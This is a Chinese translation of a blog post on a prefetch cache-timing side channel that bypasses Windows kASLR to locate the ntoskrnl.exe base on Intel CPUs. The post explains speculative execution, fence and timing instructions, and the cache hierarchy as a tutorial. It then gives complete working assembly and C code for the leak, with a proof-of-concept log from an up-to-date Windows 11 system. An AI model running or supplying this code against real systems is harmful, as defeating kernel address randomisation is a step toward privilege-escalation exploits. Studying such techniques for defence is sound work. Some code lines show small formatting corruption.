【翻译】Bypassing kASLR via Cache Timing
在今天的博客中,我将解释 Prefetch Side-Channel
技术。所有功劳归于 exploits-forsale。
由于我发现这种绕过方法相当技术性,我决定专门写一篇完整的博客文章,从头开始解释它是什么,它如何工作,它来自哪里,以及基本上绕过的内部原理。
Prefetch Side-Channel
理论
在这一部分,我将解释攻击背后的逻辑,以及处理器用来优化性能和提供更高效率的其他机制。
为了提供一些背景,我将首先解释现代 CPU 的一个关键特性:推测执行(Speculative Execution)。
之后,我将深入探讨攻击本身以及处理器缓存的工作原理,主要关注 Intel CPU,因为这些是我们代码的目标。
推测执行
解释这一点很有用,因为它与我们将要利用来获取内核基址的方法密切相关。
推测执行是现代处理器的一个特性,CPU 会"预测"哪些指令可能在不久的将来被执行。这极大地帮助提高了性能。如果没有推测执行,CPU 将不得不等待每个代码分支解决后才能继续,这将显著降低速度。然而,有了这个特性,CPU 会尝试预测即将到来的执行流程。
也就是说,==预测并不保证准确性==,当 CPU 错误地推测执行了错误的指令时,它会回滚更改,有效地恢复系统状态,就好像什么都没发生过。幸运的是(或者说不幸的是),它很少猜错,因为它是基于学习到的模式。
让我们通过一个可视化的例子来看看这个:
...
boolSomeRandomFunc(bool VarX) {
if(VarX == true) {
VarY = PrivilegeFunc(); <--- Depending on the patern executed on previous runs, this block of code might have started executing due to speculative execution.
VarX = False;
}
return true;
}
intmain() {
...
Function7(); <- RIP HERE
SomeRandomFunc(PrivilegeThread)
...
return 0;
}
...
并非所有闪光的东西都是金子。虽然推测执行(Speculative Execution)提供了重大的性能优势,但它也成为了近年来多个漏洞的根源。
"在过去三年中,Intel 比 AMD 或 ARM 更容易受到市场上出现的侧信道攻击(side-channel attacks)的影响,因为 Intel 选择了更激进的推测策略,最终导致某些类型的数据被暴露。多轮补丁已经减少了之前芯片中的这些漏洞,而较新的 CPU 在硬件层面设计了针对这些问题的安全修复。还必须指出的是,这些类型的侧信道攻击的风险仍然是理论上的。自它们出现以来的这些年里,还没有报告过使用这些方法的实际攻击。"
利用缓存提取信息
让我们直接进入正题:侧信道攻击(side-channel attack)是如何工作的?
从高层次的角度来看,我们基本上是创建一个循环,在其中插入我们想要泄露的信息。在这种情况下,是一个 ntoskrnl.exe
可能地址的数组,这是内核基址加载的位置。kASLR 可以在 0x80000000000
范围内加载基址,对齐到 21 位(0b100000000000000000000
或 0x100000
),这给我们提供了 0x8000
次迭代,从 0xfffff80000000000
到0xfffff80800000000
。
我们要检查的是这 0x8000
个潜在的内核基址中,哪一个访问时间最短。这将表明该地址已经在缓存中,意味着它经常被系统访问,因此被缓存。
它看起来会像这样:
0xfffff80000000000
...
0xfffff80000100000 Check the speed
...
...
...
0xfffff807fff00000 (last address)
从这里,我们得到两个数组:
-
第一个数组包含时间结果,即系统访问范围 0xfffff80000000000–0xfffff80800000000
内每个地址所需的时间。 -
第二个数组包含目标地址范围,在这种情况下是 ntoskrnl.exe
可能所在的位置。
为了测量时间(这是我们代码的主要目标,同时还有比较),我们将使用一个 asm
函数,该函数允许我们输入一个地址并返回访问它所需的时间。但在此之前,我们需要更详细地解释一些汇编指令。
汇编指令
-
mfence
(内存屏障)- 这是一个内存屏障指令。这意味着什么?它确保所有先前的内存 读取 和 写入 操作在任何后续操作之前完成。换句话说,它强制 CPU(Intel)不在屏障周围重新排序内存操作。它可能会影响性能,因为它禁用了内部优化,如乱序执行或推测性存储。你可能会想 - 指令不是已经按顺序执行了吗?简短的答案是:不是。在多核环境中,内存操作可能会被重新排序以提高性能,如果多个线程访问相同的内存,这可能会破坏预期的行为。这就是为什么
mfence
强制在继续执行之前完成屏障之前的所有读取和写入操作。Intel 手册说:
"MFENCE 指令为加载和存储建立内存屏障。处理器确保 MFENCE 之后的任何加载或存储操作在 MFENCE 之前的所有加载和存储操作全局可见之前不会变得全局可见。"
然后它说:
"对 MFENCE 指令之前发出的所有从内存加载和存储到内存的指令执行序列化操作。这种序列化操作保证在程序顺序中位于 MFENCE 指令之前的每个加载和存储指令在 MFENCE 指令之后的任何加载或存储指令之前变得全局可见。" ... "弱序内存类型可以通过诸如乱序发出、推测性读取、写合并和写折叠等技术来实现更高的处理器性能。数据消费者认识或知道数据是弱序的程度因应用程序而异,并且可能对该数据的生产者未知。MFENCE 指令提供了一种性能高效的方式,确保在产生弱序结果的例程和消费该数据的例程之间的加载和存储顺序。"
-
简而言之,你可以将其视为一个锁定的门,在所有先前的内存读/写操作完成并对多核系统中的所有核心全局可见之前,它不会打开。 -
rdtscp
(读取时间戳计数器和处理器 ID)- 此指令读取自重置以来的 CPU 周期数(从时间戳计数器),并将结果返回到edx
:eax
,就像rdtsc
一样。此外,rdtscp
在ecx
寄存器中返回处理器 ID。与
rdtsc
不同,rdtscp
是一个序列化指令:它确保在读取时间戳之前执行所有先前的指令。然而,它不会阻止后续指令被推测性执行。Intel 手册说:
读取处理器时间戳计数器(一个 64 位 MSR)的当前值到 EDX:EAX 寄存器,并且还将 IA32_TSC_AUX MSR(地址 C0000103H)的值读入 ECX 寄存器。EDX 寄存器加载 IA32_TSC MSR 的高 32 位;EAX 寄存器加载 IA32_TSC MSR 的低 32 位;ECX 寄存器加载 IA32_TSC_AUX MSR 的低 32 位。在支持 Intel 64 架构的处理器上,RAX、RDX 和 RCX 的高 32 位被清零。
-
lfence
(加载屏障)- 这是加载操作(读取)的屏障。它确保在程序继续执行之前完成所有先前的读取操作。
预取指令
现在,让我们转向两个最重要的指令,我们用它们直接与缓存交互:
-
prefetchnta
(非时间性访问)- 向处理器提示以最小化缓存污染的方式将内存行加载到缓存中。具体来说,它将该行获取到最近的缓存(L1 或 L2)中,但将其标记为"非时间性",表明该数据不会很快被重用。 -
prefetcht2
- 向 CPU 提示将内存行预加载到缓存中,倾向于将其放置在缓存层次结构的更深层(L2 或 L3)。
注意:术语"提示"很关键,因为 PREFETCHh
指令不强制将数据加载到缓存中。相反,它们向 CPU 建议特定的内存地址可能很快就会被需要。
当稍后访问提示的数据时,如果它已经在缓存中,访问速度会显著加快,因为 CPU 可以直接从附近的缓存级别(例如,L1、L2)检索它,避免了更慢的主内存访问。这是有效预取的主要性能优势。
在我们的代码中,prefetcht2
和 prefetchnta
都至关重要,因为我们使用它们通过使用 rdtscp
测量访问时间来检测另一个进程最近是否访问了特定地址。
这允许我们通过测量预取前后的时间来设置时间参考。根据地址是否已经被缓存,我们可以确定访问所需的时间。
|
|
|
---|---|---|
prefetchnta |
|
|
prefetcht0 |
|
|
prefetcht1 |
|
|
prefetcht2 |
|
|
缓存
为了更好地理解该函数,我们首先需要至少对缓存的用途和工作原理有基本的了解 - 因为这将帮助我们掌握绕过机制背后的内部逻辑。
L1I:每核心约 32 KB(用于指令)L1D:每核心约 32 KB(用于数据)
这两个缓存允许核心同时读取指令和数据,提高性能。 它们速度极快(延迟约 4 个时钟周期),但大小很小以保持这种速度。
L2(统一):稍大一些的缓存(约 256-512 KB),在指令和数据之间共享,也是每核心一个。
L3(最后级缓存):更大(范围从 2 MB 到超过 30 MB),在处理器的所有核心之间共享。
现代 Intel 处理器中的缓存内存
在现代 Intel CPU 的性能方面,缓存起着关键作用。在缓存层次结构中,我们通常发现三种类型的内存,结构如金字塔。级别越高,速度越快 - 但大小也越小:
A
/
/
/
/
/REGISTERS <- Ultra fast (~1 cycle)
/
/-------------
/ L1 CACHE <- Very fast (~4 cycles)
/(32KB: L1I + L1D)
/-------------------
/ L2 CACHE <- Fast (~12 cycles)
/ (1.25–2 MB per P-core)
/-------------------------
/ L3 CACHE <- Slower (~30–40 cycles)
/ (12–36+ MB shared across)
/-------------------------------
/ MAIN MEMORY (RAM) <- Much slower (100+ cycles)
/ (Several GBs in size)
/_____________________________________
L1
每个核心,无论是性能核心(P-core)还是效率核心(E-core),都有两个独立的 L1 缓存:一个用于指令(L1I),另一个用于数据(L1D)。可以将其想象成两条专用高速公路:一条用于知道该做什么,另一条用于知道用什么来做。两者都非常快(大约~4 个时钟周期),但容量很小:每个只有 32 KB(这对 Intel 处理器来说是典型的;例如,Apple 的 M1 芯片使用的容量要大得多)。为什么这么小?因为更小意味着更快。在这个级别,速度就是一切。
L2
再往下一级,我们有 L2 缓存。这里情况变得更加多样化:P-core 通常每个有 1.25 MB 到 2 MB,而 E-core 每组四个共享一个 L2 缓存(每组约 2 MB,或多或少)。延迟略有增加(~12 个周期),但作为回报,我们获得了更多存储空间。
L3
L3 是最大和最慢的一级,但它是共享的 — 所有 P-core 和 E-core 集体使用它。它的大小范围从 12 MB 到超过 36 MB,如 Core i9-13900K 这样的型号。所有核心如何在不造成混乱的情况下访问它?Intel 使用内部环形总线或网格网络,具体取决于处理器型号。也就是说,访问 L3 需要更长时间(~30–40 个周期)。
假设我们正在运行一些 C 代码。CPU 首先在 L1I 中查找指令,在 L1D 中查找数据。如果找不到所需的内容(称为"未命中"),它会检查 L2,然后是 L3...如果仍然找不到,最后才会去 RAM,这要慢得多。这就是为什么最近的缓存必须快速且架构良好如此重要的原因。
现在让我们看一个示意图例:
(由 Aoi Nakamoto 提供)
Intel Core i9-13900K
-
8 个 P-core,每个有 2 MB 的 L2 缓存。 -
16 个 E-core 分组为 4 个一组,每组共享 4 MB 的 L2。 -
一个巨大的共享 L3 缓存,容量为 36 MB。 (如前所述,每个核心都有自己的~32 KB L1I 和 L1D 缓存。)
代码
一旦我们涵盖了理论,就该实践了。让我们首先解释汇编代码,这样我们稍后就可以详细分解 C 代码。
汇编代码
首先,我们将解释这种技术中使用的主要函数(用汇编语言编写)。这个函数允许我们检索获取 nt 基址所需的信息。
sideChannel
函数
我们通过将要使用的寄存器设置为 0 并将要测试的地址移入 r10
来开始函数。换句话说,这将是 0xfffff80000000000–0xfffff80800000000
范围内的一个地址,我们将测量通过缓存访问它所需的时间,这让我们可以根据访问时间确定它是否已经被映射。
sideChannel proc
xor r8, r8
xor r9, r9
xor r10, r10
xor rax, rax
xor rdx, rdx
mov r10, rcx
mfence
用于确保所有加载和存储指令在继续执行之前都已完成(ensures that all load and store instructions have been completed before continuing)
mfence
现在进行第一次时间测量,这是在处理任何缓存加载之前进行的。 结果以我们之前提到的格式返回:rdx:rax
。 这就是为什么我们使用 shl
指令将两部分组合在一起,在这种情况下组合到 r9
中
rdtscp
mov r8, rax
mov r9, rdx
shl r9, 32
or r9, r8
lfence
用于确保所有加载指令在继续执行之前都已完成(ensures that all load instructions have been completed before continuing)
lfence
这些指令根据局部性提示(locality hint)检索包含源操作数指定字节的内存行,并将其放入缓存层次结构中的特定位置:
-
T0(时间数据):将数据预取到所有级别的缓存层次结构中。 -
T1(相对于 L1 缓存未命中的时间数据):预取到 L2 及更高级别。 -
T2(相对于 L2 缓存未命中的时间数据):预取到 L3 及更高级别。 -
NTA(相对于所有缓存级别的非时间性):将数据预取到非时间性结构中,并放置在靠近处理器的位置,最大限度地减少缓存污染。
如果选定的内存行已经存在于靠近处理器的缓存层次结构中,则不会发生数据移动。
PREFETCHh 指令仅仅是一个提示,不会影响程序的行为
prefetchnta byte ptr
prefetcht2 byte ptr
再次使用 mfence
指令
mfence
我们再次测量时间以确定操作是否花费更长时间,这有助于我们推断地址是否已被缓存(cached)。这对于提取我们感兴趣的信息来说至关重要。
rdtscp
shl rdx, 32
or rdx, rax
再次使用 lfence
指令(Another lfence
)
lfence
我们将第一个 rdtscp
的结果从第二个结果中减去,得到存储在 rax
中的时间差,这告诉我们操作执行所需的时间
sub rax, r9
完成例程(Finalization routine)
pop rsi
ret
sideChannel endp
C 代码
首先,我们定义变量,包括两个内核限制(kernel limits)、跳转大小(jump size)和范围(range)。除了 Range
之外,这些变量在代码中都没有被使用,因为我发现使用实际值在视觉上更直观。
getNtBase()
函数
这是我们用来获取 ntoskrnl.exe
地址的函数。
我们首先声明两个缓冲区。Speed
将保存在范围 0xfffff80000000000–0xfffff80800000000
内访问地址的计时结果,而 Addrs
将存储此范围内的每个地址。
UINT64 getNtBase() {
static UINT64 Speed[Range] = { 0 };
static UINT64 Addrs[Range] = { 0 };
UINT64 Addr = lowKernelBase;
unsigned int media = 0;
unsigned int CacheSpeed = 0;
在这个第一部分,我们收集所需的所有信息,代码的其余部分将专注于过滤这些数据。
我们主要在这里做的是对 ntoskrnl
范围内的每个地址运行 sideChannel
函数 256 次(0x100),并将结果(时间)累积到 Speed
数组中,索引对应于地址。如您所见,在这 0x100 次迭代的第一次期间,我们用所有 0x8000 个条目填充 Addrs
数组。
一旦循环结束,我们的 Speed
数组中将有 0x8000 个地址中每个地址的 0x100 次访问时间之和。
您还会注意到,我们实际上执行了 0x105 次迭代。前 5 次运行有助于消除可能由初始执行异常导致的异常值或不一致值。
最后,我们将有两个填充了数据的数组:一个包含范围内的所有地址,另一个包含每个地址的访问时间。
for (unsigned int Times = 0; Times < 0x100 + 5; Times++) {
for (UINT64 index = 0; index < Range; index++) {
if (!Addrs[index]) {
Addrs[index] = 0xfffff80000000000 + index * 0x100000;
}
CacheSpeed = sideChannel((void*)Addrs[index]);
if (Times >= 5) {
Speed[index] += CacheSpeed;
}
}
}
然后,我们将 Speed
数组中的每个条目从访问时间的原始总和转换为 256 次迭代的平均值。
unsigned int i = 0;
for (i = 0; i < Range; i++) {
Speed[i] /= 0x100;
}
现在进入一个非常重要的步骤,计算平均速度。这对我们来说非常有帮助,因为 99.9% 的地址对我们来说都没有意义,所以我们需要一种方法来比较和识别哪些地址显著低于平均值。
int maxCount = 0;
int averageSpeed = 0;
for (i = 0; i < Range; i++) {
int count = 0;
for (unsigned int c = 0; c < Range; c++) {
if (Speed[i] == Speed[c]) {
count++;
}
}
if (count > maxCount) {
maxCount = count;
averageSpeed = Speed[i];
}
}
printf("nAverage Speed -> %u", averageSpeed);
从平均值中,我们推导出分数部分,这将帮助我们筛选出我们感兴趣的地址
unsigned int BaseSpeed1 = averageSpeed / 5;
unsigned int BaseSpeed2 = averageSpeed / 10;
// printf("nBaseSpeed1 -> %u", BaseSpeed1);
// printf("nBaseSpeed2 -> %un", BaseSpeed2);
这是最后一个循环,用于获取目标地址。它基于对 12 个(0xc)地址块的过滤。我们的目标是找到一个读取时间持续较快的区域,这表明这些地址实际上是已映射的(有效的内核地址,kernel address)。
如果 12 个地址块中的任何时间大于或等于 averageSpeed - BaseSpeed2
,则整个块将被丢弃,我们继续移动到下一个块。
如果该块通过第一个过滤器,我们计算这 12 个条目的平均值。如果平均值足够低,我们认为该块的第一个组件(i
)就是 ntoskrnl.exe
的基地址(base address)。
for (UINT64 i = 0; i < 0x8000 - 0xc; i++)
{
int average = 0;
for (UINT64 x = 0; x < 0xc; x++)
{
if (Speed[i + x] >= averageSpeed - BaseSpeed2)
{
average = -1;
break;
}
average += Speed[i + x];
}
if (average == -1)
{
continue;
}
average /= 0xC;
if (average < (averageSpeed - BaseSpeed1))
{
// printf("n[Kernel Base] -> 0x%pnt\__[Time] -> %un", 0xfffff80000000000 + (i * 0x100000), Speed[i]);
// printf("nAddr -> 0x%p", 0xfffff80000000000 + (i * 0x100000));
return (0xfffff80000000000 + (i * 0x100000));
}
}
return 0;
}
POC
注意: 此方法在虚拟机(VM)上无法运行,至少在我测试的 VMware 环境中是这样。我怀疑这是由于缓存机制(caching)以及地址在二级地址转换(SLAT)中的映射方式导致的。
Microsoft Windows [Version 10.0.26100.3775]
(c) Microsoft Corporation. All rights reserved.
C:WindowsSystem32>cd /telac
C:telac>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:telac> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
PS C:telac> .ClassicGetNt.exe
[kASLR Lab]:
"SystemModuleInformation" flag
[Name] "SystemRootsystem32ntoskrnl.exe"
[Address] 0xFFFFF807A5A00000
PS C:telac>
从上面的结果可以看出,在启用了 SeDebugPrivilege
权限的控制台中,我们可以使用 ntQuerySystemInformation
获取 ntoskrnl.exe
的地址,正如在之前的博客中所演示的那样。
我们可以确认正在运行完全更新的 Windows 11 系统,并且可以验证地址为 0xFFFFF807A5A00000
,现在让我们继续测试代码。
可以看到,在没有 SeDebugPrivilege
权限的情况下,我们也成功获取了最新版本 Windows 11 系统上 ntoskrnl.exe
的正确地址。
以下是完整的代码。
extern "C" unsigned int sideChannel(void* baseAddress);
extern "C" void badSyscall(void);
UINT64 getNtBase() {
static UINT64 Speed[Range] = { 0 };
static UINT64 Addrs[Range] = { 0 };
UINT64 Addr = lowKernelBase;
unsigned int media = 0;
UINT64 FinalAddress = 0;
UINT64 FinalTime = 0;
unsigned int CacheSpeed = 0;
for (unsigned int Times = 0; Times < 0x100 + 5; Times++) {
for (UINT64 index = 0; index < Range; index++) {
if (!Addrs[index]) {
Addrs[index] = 0xfffff80000000000 + index * 0x100000;
}
CacheSpeed = sideChannel((void*)Addrs[index]);
if (Times >= 5) {
Speed[index] += CacheSpeed;
}
}
}
unsigned int i = 0;
for (i = 0; i < Range; i++) {
Speed[i] /= 0x100;
}
int maxCount = 0;
int averageSpeed = 0;
for (i = 0; i < Range; i++) {
int count = 0;
for (unsigned int c = 0; c < Range; c++) {
if (Speed[i] == Speed[c]) {
count++;
}
}
if (count > maxCount) {
maxCount = count;
averageSpeed = Speed[i];
}
}
printf("nAverage Speed -> %u", averageSpeed);
unsigned int BaseSpeed1 = averageSpeed / 5;
unsigned int BaseSpeed2 = averageSpeed / 10;
// printf("nBaseSpeed1 -> %u", BaseSpeed1);
// printf("nBaseSpeed2 -> %un", BaseSpeed2);
for (UINT64 i = 0; i < 0x8000 - 0xc; i++)
{
int average = 0;
for (UINT64 x = 0; x < 0xc; x++)
{
if (Speed[i + x] >= averageSpeed - BaseSpeed2)
{
average = -1;
break;
}
average += Speed[i + x];
}
if (average == -1)
{
continue;
}
average /= 0xC;
if (average < (averageSpeed - BaseSpeed1))
{
// printf("n[Kernel Base] -> 0x%pnt\__[Time] -> %un", 0xfffff80000000000 + (i * 0x100000), Speed[i]);
// printf("nAddr -> 0x%p", 0xfffff80000000000 + (i * 0x100000));
return (FinalAddress = 0xfffff80000000000 + (i * 0x100000));
}
}
return 0;
}
int main() {
UINT64 Addr = 0;
UINT64 Comp = 0;
unsigned int i = 0;
while (1) {
printf("nn[INTEL CPU Based NT Base leaker] -> execution Number (%d)n", i);
if (i >= 1) {
Sleep(1000);
}
if (((Addr = getNtBase())) == 0) {
printf("nt[ERROR] Error getting the "ntoskrnl.exe" base!n");
i++;
continue;
}
if (Addr != (getNtBase())) {
printf("nt[ERROR] The address leaked is not the same! Repeating the process...n");
i++;
continue;
}
else {
break;
}
}
printf("n["ntoskrnl.exe" base] -> 0x%pn", Addr);
return 0;
}
code
PUBLIC sideChannel
sideChannel proc
xor r8, r8
xor r9, r9
xor r10, r10
xor rax, rax
xor rdx, rdx
mov r10, rcx
mfence
rdtscp
mov r8, rax
mov r9, rdx
shl r9, 32
or r9, r8
lfence
prefetchnta byte ptr [r10]
prefetcht2 byte ptr [r10]
mfence
rdtscp
shl rdx, 32
or rdx, rax
lfence
subrax, r9
ret
sideChannel endp
end
参考资料
-
https://stackoverflow.com/questions/20316124/does-it-make-any-sense-to-use-the-lfence-instruction-on-x86-x86-64-processors -
https://c9x.me/x86/html/file_module_x86_id_155.html -
https://en.wikipedia.org/wiki/Speculative_execution
结语
您可以在我的 GitHub 仓库 MunIntel 中查看完整代码
早上好,如果我之后没机会见到你:下午好,晚上好,晚安!
原文始发于微信公众号(securitainment):缓存时序攻击:绕过 kASLR 定位 Windows 内核基址
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论